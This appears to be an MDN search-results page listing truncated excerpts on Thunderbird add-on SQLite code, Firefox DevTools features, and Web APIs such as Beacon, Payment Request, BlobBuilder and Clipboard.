r an api reference, however this code should get you started. be careful of multi-thread access to your database. this will create an sqlite db named tbird.sqlite inside your profile directory with a table called attachments. you can see the schema for the attachments table in the code. to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite programs. const cc = components.classes; const ci = components.interfaces; var tbirdsqlite = { onload: function() { // initialization code this.initialized = true; this.dbinit(); }, dbconnection: null, dbschema: { tables: { attachments:"id integer primary key, \ name text \ encoded text not null" } },...
...(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'; document.queryselector('#status').innerhtml = msg; }); db.transaction(function (tx) { tx.executesql...
...e, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'; document.queryselector('#status').innerhtml = msg; }); db.transaction(function (tx) { tx.executesql('select * from logs', [], function (tx, results) { var len = results.rows.length, i; msg = "<p>found rows: " + len + "</p>"; document.queryselector('#status').innerhtml += msg; for (i = 0; i < len; i++){ msg = "<p><b>" + results.rows.item(i).log + "</b></p>"; document.queryselector('#status').innerhtml += msg; } }, null); }); ...
customDBHeaders Preference
essage header, so i'm just including my file for reference. ...
...properties: function(row, col, props){}, getimagesrc: function(row, col) {return null;}, getsortlongforrow: function(hdr) {return 0;} } function addcustomcolumnhandler() { gdbview.addcolumnhandler("colsuperfluous",columnhandler); dump("column handler being added: " + columnhandler + "\n"); } var createdbobserver = { // components.interfaces.nsiobserver observe: function(amsgfolder, atopic, adata) { dump("here here!"); addcustomcolumnhandler(); } } function doonceloaded(){ var observerservice = components.classes["@mozilla.org/observer-service;1"].getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(createdbobserver, "msgcreatedbview", false); window.document.getelementbyid('foldertree').addeventlistener("sele...
....getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(createdbobserver, "msgcreatedbview", false); window.document.getelementbyid('foldertree').addeventlistener("select",addcustomcolumnhandler,false); } window.addeventlistener("load",doonceloaded,false); dump(" ~ ~ ~ ~ end superfluous ~ ~ ~ ~ \n"); important be aware that only messages that are added to the .msf database after the customdbheaders pref is set will have the corresponding string property set on the msghdr. if the .msf file is rebuilt, all the msghdrs should have the string property set correctly. the attaching of the column handler through the observerservice object is some pretty new stuff, so i was using the addeventlistener("select"...) stuff as a backup. depending on the release you u...
Working with ArrayBuffers
uffer.address(), ctypes.uint8_t.array(myimgdata.data.length).ptr).contents; // myimgdat.data.length is imgwidth * imgheight * 4 because per pixel there is r, g, b, a numbers casted.tostring(); // "ctypes.uint8_t.array(640000)([45, 66, 135, 255, 99, 86, 55, 255, .......... ])" myimgdat.data.set(casted); the ctypes.cast takes a couple of milliseconds, however, the myimgdat.data.set takes up to 800ms for a size of 52,428,800 (which is image size of 1280 x 1024 pixels). so, for the size of 640,000 it takes about 98ms. method 2: manually handled another strategy is to handle it manually, as illustrated by the following code example: var casted = ctypes.cast(pixelbuffer.address(), ctypes.uint8_t.array(myimgdata.data.length).ptr).contents; // myimgdat.data.length is imgwidth * imgheight *4 bec...
...alarr.push(r); normalarr.push(g); normalarr.push(b); normalarr.push(a); } myimgdat.data.set(normalarr); the preceding example, however, does not take advantage of method 1, but instead manually goes through the array and sets the imagedata array. the cast takes a couple of milliseconds, roughly the same as method 1. however, the manual method a, in the preceding example, takes ~1300 ms. method b takes ~1400 ms, for an array length of 52,428,800 (which is image size of 1280 x 1024 pixels). method 3: transfer byte array by calling memcpy this is the recommended method, as it only takes a couple of milliseconds, even for large arrays. notice that the following example does not cast the pixelbuffer. passing an arraybuffer object to pointer type will pass the pointer to buffer (ba...
...o buffer (based on //github.com/realityripple/uxp/blob/master/js/src/ctypes/ctypes.cpp#3080). further, it returns datapointer, and there is no extra allocation (based on //github.com/realityripple/uxp/blob/master/js/src/vm/arraybufferobject.cpp#1301). ...
Initialization and Destruction - Plugins
created. more than one instance of the same plug-in can exist if a single page contains multiple embedded plug-ins, or if several browser windows are open and display the same data type. at this point, a plug-in can call the npn_setvalue function to specify whether it is windowed (the default) or windowless. plug-in instances are created with npp_new and destroyed with npp_destroy. npp_new informs the plug-in of the creation of a new instance with the specified mime type. you can allocate instance-specific private data at this time. nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); the plugintype parameter represents the mime type of this instance of the plug-in. ...
... data at this time. nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); the plugintype parameter represents the mime type of this instance of the plug-in. you can assign more than one mime type to a plug-in, which could potentially allow the plug-in to respond to data streams of different types with different interfaces and behavior. the instance parameter represents an npp object, created by the browser. you can store the instance-specific private data in its pdata field (instance->pdata). the mode parameter identifies the display mode in which the plug-in was invoked, either np_embed or np_full. np_embed means that the instance was created by an embed and share...
... memory with this function, since the browser can delete the saved data with the equivalent of npn_memalloc at any time. shutdown when the application no longer needs the plug-in, it is shut down and released. np_shutdown gives you an opportunity to delete data allocated in np_initialize to be shared by all instances of a plug-in. the browser calls the plug-in's np_shutdown function, which informs the plug-in that its library is about to be unloaded, and gives it a chance to cancel any outstanding i/o requests, delete threads it created, free any memory it allocated, and perform any other closing tasks. the np_shutdown function releases memory or resources shared across all instances of a plug-in. it is called once after the last instance of the plug-in is destroyed, before releasing the ...
Color vision simulation - Firefox Developer Tools
the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss. "color blindness" is a bit of a misnomer, since most people with these disorders can see colors, but do not see all of the distinctions that people with normal color vision can see; color vision deficiencies affect perception across the color spectrum, not only of specific colors like red or green. color vision deficiencies affect about 8% of men, and 0.5% of women. ...
...vity loss. "color blindness" is a bit of a misnomer, since most people with these disorders can see colors, but do not see all of the distinctions that people with normal color vision can see; color vision deficiencies affect perception across the color spectrum, not only of specific colors like red or green. color vision deficiencies affect about 8% of men, and 0.5% of women. the most common forms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x chromosome, which men usually have only one copy of. contrast sensitivity loss can be caused by cataracts, glaucoma, diabetic retinopathy, and other disorders of the retina; it can be age-related, congenital, or due to an injury. to enab...
... at a time from the following list: none — choose this to return to normal display protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss these simulations are not completely medically accurate. however, they can give you a sense of what your web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast choices. the following table shows a colorful image of a cat's face, and what it looks like in the various simulations. simulation image displayed none protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) pro...
UI Tour - Firefox Developer Tools
s, the following context menu options are available: collapse all collapses all subfolders of the item. expand all expands all subfolders of the item. set directory root changes the source list view so that only that item and its children are visible. the name of the selected directory is shown at the top of the source list pane; clicking this name reverts the pane to showing all source items. ignore (since firefox 76) ignore files in this directory causes all files within the selected directory to be skipped by the debugger. all child files acquired the eye icon, and the folder menu option changes to unignore files in this directory. ignore files outside this directory causes all files other than those within the selected directory to be skipped by the debugger. all such fi...
...d line number. clicking a line selects the corresponding line in the source pane. note: if you click step over (f10) after changing the selected line in the source pane, the debugger executes until reaching the line following the newly-selected line (disregarding whatever line the debugger originally stopped at). right-clicking in the call stack pane opens a context menu with the following items: restart frame restarts execution at the beginning of the current frame. enable framework grouping collects items belonging to a framework into a collapsible group (for example, jquery in the screenshot above). when grouping is enabled, the menu option changes to disable framework grouping. copy source uri copies the full identifier of the source file to the clipboard. ignore source causes ...
...rouping. copy source uri copies the full identifier of the source file to the clipboard. ignore source causes the debugger to skip the file when "stepping into" functions. any stack frames from the ignored source file are hidden in the call stack pane. (to remove this restriction, choose unignore source in the context menu of the sources list or the source pane.) copy stack trace copies all items in the call stack (including their uris and line number) to the clipboard. scopes in the right-hand pane you'll see a label "scopes" with a disclosure arrow next to it. when the debugger's paused, you'll be able to expand this section to see all objects that are in scope at this point in the program: objects are organized by scope: the most local appears first, and the global scope (window, i...
Debugger.Frame - Firefox Developer Tools
ion is a call. when an onpop call reports the completion of a construction call (that is, a function called via the new operator), the completion value passed to the handler describes the value returned by the function body. if this value is not an object, it may be different from the value produced by the new expression, which will be the value of the frame’s this property. (in ecmascript terms, the onpop handler receives the value returned by the [[call]] method, not the value returned by the [[construct]] method.) when a debugger handler function forces a frame to complete early, by returning a { return:... }, { throw:... }, or null resumption value, spidermonkey calls the frame’s onpop handler, if any. the completion value passed in this case reflects the resumption value that ca...
...r. all extant handler methods, breakpoints, and so on remain active during the call. this function follows the invocation function conventions. codeis interpreted as strict mode code when it contains a use strict directive, or the code executing in this frame is strict mode code. ifcode is not strict mode code, then variable declarations incode affect the environment of this frame. (in the terms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents.) if implementation restrictions prevent spidermonkey from extending this frame’s environment as requested, this call throws an error exception. if given,options should be an object whose properties specify deta...
...lows debugger code to introduce temporary bindings that are visible to the given debuggee code and which refer to debugger-held debuggee values, and do so without mutating any existing debuggee environment. note that, like eval, declarations in thecode passed to evalwithbindings affect the environment of this frame, even as that environment is extended by bindings visible withincode. ...
Debugger.Object - Firefox Developer Tools
methods, breakpoints, watchpoints, and so on remain active during the call. this function follows the invocation function conventions. if the referent is not a global object, throw a typeerror exception. codeis interpreted as strict mode code when it contains a use strict directive. ifcode is not strict mode code, then variable declarations incode affect the referent global object. (in the terms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the referent.) theoptions argument is as for debugger.frame.prototype.eval. evalinglobalwithbindings(code,bindings, [options]) like evalinglobal, but evaluatecode using the referent as the variable object, but with a lexical environment extended with bindings from the objectbindings...
...le to the given debuggee code and which refer to debugger-held debuggee values, and do so without mutating any existing debuggee environment. note that, like evalinglobal, if the code passed to evalinglobalwithbindings is not strict mode code, then any declarations it contains affect the referent global object, even ascode is evaluated in an environment extended according tobindings. (in the terms used by the ecmascript specification, the variableenvironment of the execution context for non-strict eval code is the referent, and thebindings appear in a new declarative environment, which is the eval code's lexicalenvironment.) theoptions argument is as for debugger.frame.prototype.eval. asenvironment() if the referent is a global object, return the debugger.environment instance repre...
...referent is not a global object, throw a typeerror. setobjectwatchpoint(handler)(future plan) set a watchpoint on all the referent's own properties, reporting events by callinghandler's methods. any previous watchpoint handler on this debugger.object instance is replaced. ifhandler is null, the referent is no longer watched.handler may have the following methods, called under the given circumstances: add(frame,name,descriptor) a property namedname has been added to the referent.descriptor is a property descriptor of the sort accepted by debugger.object.prototype.defineproperty, giving the newly added property's attributes. delete(frame,name) the property namedname is about to be deleted from the referent. change(frame,name,olddescriptor,newdescriptor) the ...
Network request list - Firefox Developer Tools
to the domain. y hover over the domain to see the ip address. there's an icon next to the domain that gives you extra information about the security status of that request. see security icons. file: the basename of the file requested. (starting in firefox 80) on the right edge of the file column, a turtle icon appears if the server waiting time exceeds a threshhold (default: 500 ms). a tooltip explains the problem. you can configure the threshhold in the configuration editor (about:config) by modifying the devtools.netmonitor.audits.slow setting. url: the url of the file requested. protocol: the network protocol used to transfer the data, this column is hidden by default. scheme: the scheme (https/http/ftp/...) of the path requested. this column is hidden by de...
...cking: to turn all request blocking off or on: toggle the checkbox next to enable request blocking. to turn a specific block off or on: toggle the checkbox next to that item. to delete a blocked item, click the x icon that appears when you focus the item. (starting with firefox 77) right-click any item in the list and choose from the context menu: enable all enables blocking of all items in the list. disable all disables blocking of all items in the list. remove all deletes all items in the list. blocking a specific url from the request list you can also block a url from the request list: hover over the item you want to block in the request list. select block url from the context menu. when you refresh the page, that specific url will be blocked and a message...
... gzip, deflate". this means that the response will be automatically decompressed. --globoff suppresses curl's globbing (wildcard matching) feature if the copied url includes square bracket characters ([ or ]). (starting in firefox 76) managing har data the har format enables you to export detailed information about network requests. in addition to the copy and save menu items for har in the context menu, similar menu items are available in the har dropdown menu in the toolbar, as well as an import menuitem. network monitor features the following articles cover different aspects of using the network monitor: toolbar network request details network traffic recording performance analysis throttling ...
Examine and edit HTML - Firefox Developer Tools
element in the debugger: inspect the element click on the word custom the source for the element's class will be displayed in the debugger. whitespace-only text nodes web developers don’t write all their code in just one line of text. they use white space such as spaces, returns, or tabs between their html elements because it makes markup more readable. usually this white space seems to have no effect and no visual output, but in fact, when a browser parses html it will automatically generate anonymous text nodes for elements not contained in a node. this includes white space (which is after all a type of text). if these auto generated text nodes are inline level, browsers will give them a non-zero width and height. then you will find strange gaps between elements, even if y...
...source of its content. note: shadow dom inspection was implemented in firefox 61, but was hidden behind the dom.webcomponents.shadowdom.enabled pref until firefox 63. it is now turned on by default. element popup context menu you can perform certain common tasks on a specific node using a popup context menu. to activate this menu, context-click the element. the menu contains the following items — click on the links to find the description of each command in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ... subtree modification attribute modification node removal use in console show dom properties show accessibility...
...xts, for example the "open file in style-editor" option only appears when you context-click over the top of a link to a css file. context menu reference edit as html edit the element's html. (copy) inner html copy the inner html for the element. (copy) outer html copy the outer html for the element. pressing ctrl + c (or cmd + c on a mac) also performs this action. (copy) unique selector/css selector copy a css selector that uniquely selects the element. (copy) css path copy a css selector that represents the full path to the element. (copy) image data-url copy image as a data:// url, if the selected element is an image. (copy) attribute copy the attribute of the element. show dom pro...
Work with animations - Firefox Developer Tools
animation details if you click one of the bars, you'll see details of all the properties that were changed in the animation. for example, try clicking on the bar for img#icon's animation: this is telling us that two properties were modified: filter and transform. each dot represents an entry for that property in the set of keyframes used for the animation. both properties were initialized at 0ms and finalized at 750ms. filter was given a value at 250ms and transform at 500ms. if you hover over a dot, you'll see the value assigned to that property at that point in the timeline: this is essentially a visual representation of the animation's keyframes: var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)' }, { filter: 'g...
...the example applying all this to our example, we can see that: the animation involved two elements, span#note and img#icon. hovering over these selectors, we can see that those elements are, respectively, the browser name "firefox developer edition" and the browser icon. ...
...this to our example, we can see that: the animation involved two elements, span#note and img#icon. hovering over these selectors, we can see that those elements are, respectively, the browser name "firefox developer edition" and the browser icon. the img#icon animation: animated the filter and transform properties, to scale the icon and color it lasted 750ms, had an enddelay of 100ms used the compositor thread was given an easing value of ease-in: you can see this by the concave shape of the green bar. the span#note animation: animated the width and opacity properties, to make the name gradually appear lasted 500ms, and had a delay of 150ms was given an easing value of ease-out: you can see this by the convex shape of the green bar. animation ...
Animating CSS properties - Firefox Developer Tools
the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate. the frame rate and waterfall can give you insight into the work the browser's doing in a css animation, to help diagnose performance problems. with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation. the browser creates the animation as a transition from each keyframe to the next. compared with animating elements using javascript, css animations can be easier to create. they can also give better performance, as they give the browser more control over when to render frames, and to drop frames...
...ee how the waterfall can highlight the difference between animating using margin and animating using transform. the intention of this scenario isn't to convince you that animating using margin is always a bad idea. it's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance problems. if you want to play along, the demo website is here. it looks like this: it has two controls: a button to start/stop the animation, and a radio group to choose to animate using margin, or to animate using transform. there are a number of elements, and we've added a linear-gradient background and a box-shadow to each element, because they are both relatively expensive effects to paint. there'...
...ll view. if you scroll through this, you'll see a pattern like this: this is showing us the rendering waterfall. in each animation frame, we recalculate styles for every element, then perform a single layout, then a repaint. you can see that paint especially is hurting performance here. in the screenshot above we've highlighted a paint operation, and the box on the right tells us it took 13.11ms. with only 16.7ms in our total budget, it's not surprising we are missing a consistently high frame rate. you can experiment with this: try removing the box shadow using the page inspector, and see how that affects paint time. but next, we'll see how using transform instead of margin eliminates those expensive paints entirely. animating using transform now switch the radio button in the web pa...
Shader Editor - Firefox Developer Tools
note: this tool has been deprecated and will soon be removed from firefox. for details, see deprecated tools. the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. webgl is a javascript api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins. with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. these shaders are written in opengl shading language, or glsl. in webgl they can be included in a page in several ways: as text hardcoded in javascript strings, as separate files...
...l now see "shader editor" appear in the toolbar. click it and the shader editor opens. at first you'll just see a blank window with a button asking you to reload the page: to get started, load a page which creates a webgl context and loads a program into it. the screenshots below are from the unreal engine demo. you'll now see a window divided into three panes: a list of all the glsl programs on the left, the vertex shader for the currently selected program in the middle, and the fragment shader for the currently selected program on the right: managing programs the left hand pane lists all programs currently in use by a webgl context. if you hover over an entry in the list, the geometry drawn by that program is highlighted in red: if you click the eyeball icon just left of the pr...
... left of the program's entry, that program is disabled. this is useful for focusing on certain shaders or hiding overlapping geometry: if you click the entry, its vertex and fragment shaders are shown in the other two panes, and you can edit them. editing shaders the middle and right hand panes show the vertex and fragment shaders for the currently selected program. you can edit these programs and see the results the next time the webgl context redraws (for example, in the next animation frame). for example, you can modify the colors: the editor highlights syntax errors in your code: if you hover over the cross shown next to a line containing an error, you'll see more details about the problem: ...
AnimationPlaybackEvent.currentTime - Web APIs
s generated. value a number representing the current time in milliseconds, or null. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of playbackevent.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...resenting the current time in milliseconds, or null. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of playbackevent.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 playbackevent.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled playbackevent.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifications specification status comment web animationsthe definition of 'animationplaybackevent.currenttime' in that specification. working draft editor's draft. ...
AnimationTimeline.currentTime - Web APIs
the timeline's current time in milliseconds, or null if the timeline is inactive. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animationtimeline.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...illiseconds, or null if the timeline is inactive. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animationtimeline.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...ult and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animationtimeline.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled animationtimeline.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enable privacy.resistfingerprinting; the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifications specification status comment web animationsthe definition of 'currenttime' in that specification. working draft editor's draft. ...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
AudioTrack - Web APIs
ace represents a single audio track from one of the html media elements, <audio> or <video>. the most common use for accessing an audiotrack object is to toggle its enabled property in order to mute and unmute the track. properties enabled a boolean value which controls whether or not the audio track's sound is enabled. setting this value to false mutes the track's audio. ...
...for example, an audio commentary track for a movie might have a label of "commentary with director john q. ...
... specific track within an audio track list by calling audiotracklist.gettrackbyid(). the id can also be used as the fragment part of the url if the media supports seeking by media fragment per the media fragments uri specification. kind read only a domstring specifying the category into which the track falls. for example, the main audio track would have a kind of "main". label read only a domstring providing a human-readable label for the track. for example, an audio commentary track for a movie might have a label of "commentary with director john q. public and actors john doe and jane eod." this string is empty if no label is provided. language read only a domstring specifying the audio track's primary language, or an empty string if unknown. the language is specified as a bcp 47 (...
Background Tasks API - Web APIs
it can safely use without causing the system to lag. if you stay within the limit given, you can make the user's experience much better. getting the most out of idle callbacks because idle callbacks are intended to give your code a way to cooperate with the event loop to ensure that the system is utilized to its full potential without over-tasking it, resulting in lag or other performance problems, you should be thoughtful about how you go about using them. use idle callbacks for tasks which don't have high priority. because you don't know how many callbacks have been established, and you don't know how busy the user's system is, you don't know how often your callback will be run (unless you specify a timeout. there's no guarantee that every pass through the event loop (or even every sc...
....requestidlecallback is undefined, we create it here. the function begins by recording the time at which our implementation was called. we'll be using that to compute the value returned by our shim for timeremaining(). then we call settimeout(), passing into it a function which runs the callback passed into our implementation of requestidlecallback(). the callback is passed an object which conforms to idledeadline, with didtimeout set to false and a timeremaining() method which is implemented to give the callback 50 milliseconds of time to begin with. each time timeremaining() is called, it subtracts the elapsed time from the original 50 milliseconds to determine the amount of time left. as a result, while our shim doesn't constrain itself to the amount of idle time left in the current eve...
...ttasknumberelem is the element used to display the number of tasks processed so far. progressbarelem is the <progress> element showing the percentage of the tasks processed so far. startbuttonelem is the start button. logelem is the <div> we'll insert logged text messages into. let logfragment = null; let statusrefreshscheduled = false; finally, we set up a couple of variables for other items: logfragment will be used to store a documentfragment that's generated by our logging functions to create content to append to the log when the next animation frame is rendered. statusrefreshscheduled is used to track whether or not we've already scheduled an update of the status display box for the upcoming frame, so that we only do it once per frame the shim to function even if idle call...
BasicCardRequest.supportedNetworks - Web APIs
the supportednetworks property of the basiccardrequest dictionary contains an array of domstrings representing the card networks that the retailer supports (e.g. amex, mastercard). syntax supportednetworks : [value [, ... value]] value an array containing one or more domstrings, which describe the card networks the retailer supports. legal values are defined in the w3c's document card network identifiers approved for use with payment request api, and are currently: amex cartebancaire diners discover jcb mastercard mir unionpay visa example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties. var supportedinstruments = [{ supporte...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.cardNumber - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show(). ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.cardSecurityCode - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.cardholderName - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.expiryMonth - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.expiryYear - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
Using the Beacon API - Web APIs
d before the page unloads. this document contains examples of the beacon interfaces. see beacon api for an overview. navigator.sendbeacon() the beacon api's navigator.sendbeacon() method sends a beacon request to the server in the global browsing context. the method takes two arguments: the url and the data to send. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load and beforeunload events. the handler calls sendbeacon() with the current url. window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var url = "https://example.c...
...om the global context. ...
.../ create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; } this code snippet is for the worker (worker-using.js): onmessage = function(event) { var msg = event.data; // split the url and data from the message var url = msg[0]; var data = msg[1]; // if the browser supports worker sendbeacon(), then send the beacon; otherwise // return failure message to the global context if (self.navigator.sendbeacon) { var status = self.n...
BiquadFilterNode() - Web APIs
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42notes full support 42notes notes before opera 46, the default values were not supported.safari ios ? ...
... full support 42notes full support 42notes notes before opera 46, the default values were not supported.safari ios ? ...
BlobBuilder - Web APIs
blob, call getblob() to retrieve a blob containing the data you sent into the blob builder. note: the blobbuilder interface has been deprecated in favor of the newly introduced blob constructor. method overview void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in domstring contenttype); file getfile(in domstring name, [optional] in domstring contenttype); methods append() appends the contents of the specified javascript object to the blob being built. if the value you specify isn't a blob, arraybuffer, or string, the value is coerced to a string before being appended to the blob. void append( in arraybuffer data ); void append( in blob ...
...ata to append to the blob being constructed. endings specifies how strings containing \n are to be written out. this can be "transparent" (endings unchanged) or "native" (endings changed to match host os filesystem convention). the default value is "transparent". getblob() returns the blob object that has been constructed using the data passed through calls to append(). blob getblob( in domstring contenttype optional ); parameters contenttype optional the mime type of the data to be returned in the blob. this will be the value of the blob object's type property. return value a blob object containing all of the data passed to any calls to append() made since the blobbuilder was created. this also resets the blobbuilder so that the next call to append() is starting a new, empt...
... the mime type of the data to be returned in the blob. this will be the value of the blob object's type property. return value a blob object containing all of the data passed to any calls to append() made since the blobbuilder was created. this also resets the blobbuilder so that the next call to append() is starting a new, empty blob. getfile() returns a file object. file getfile( in domstring name, [optional] in domstring contenttype ); parameters name the file name. contenttype optional the mime type of the data to be returned in the file. this will be the value of the file object's type property. return value a file object. ...
CSSStyleDeclaration.getPropertyPriority() - Web APIs
"important") if one exists. if none exists, returns the empty string. ...
..."important") if one exists. if none exists, returns the empty string. ...
..."important") if one exists. if none exists, returns the empty string. ...
CSSStyleDeclaration.getPropertyValue() - Web APIs
if not set, returns the empty string. ...
...if not set, returns the empty string. ...
...if not set, returns the empty string. ...
ChildNode - Web APIs
Web › API › ChildNode
and properties that are common to all types of node objects that can have a parent. it's implemented by element, documenttype, and characterdata objects. properties there are neither inherited, nor specific properties. methods there are no inherited methods. childnode.remove() removes this childnode from the children list of its parent. childnode.before() inserts a set of node or domstring objects in the children list of this childnode's parent, just before this childnode. domstring objects are inserted as equivalent text nodes. childnode.after() inserts a set of node or domstring objects in the children list of this childnode's parent, just after this childnode. domstring objects are inserted as equivalent text nodes. childnode.replacewith() replaces this childnode in...
... specifications specification status comment domthe definition of 'childnode' in that specification. living standard split the elementtraversal interface in parentnode and childnode. ...
... specifications specification status comment domthe definition of 'childnode' in that specification. living standard split the elementtraversal interface in parentnode and childnode. previouselementsibling and nextelementsibling are now defined on the latter. ...
Clipboard.read() - Web APIs
Web › API › Clipboard › read
ns api if we have some kind of access to // the "clipboard-read" feature. navigator.permissions.query({name: "clipboard-read"}).then(result => { // if permission to read the clipboard is granted or if the user will // be prompted to allow it, we proceed. ...
...to // the "clipboard-read" feature. navigator.permissions.query({name: "clipboard-read"}).then(result => { // if permission to read the clipboard is granted or if the user will // be prompted to allow it, we proceed. ...
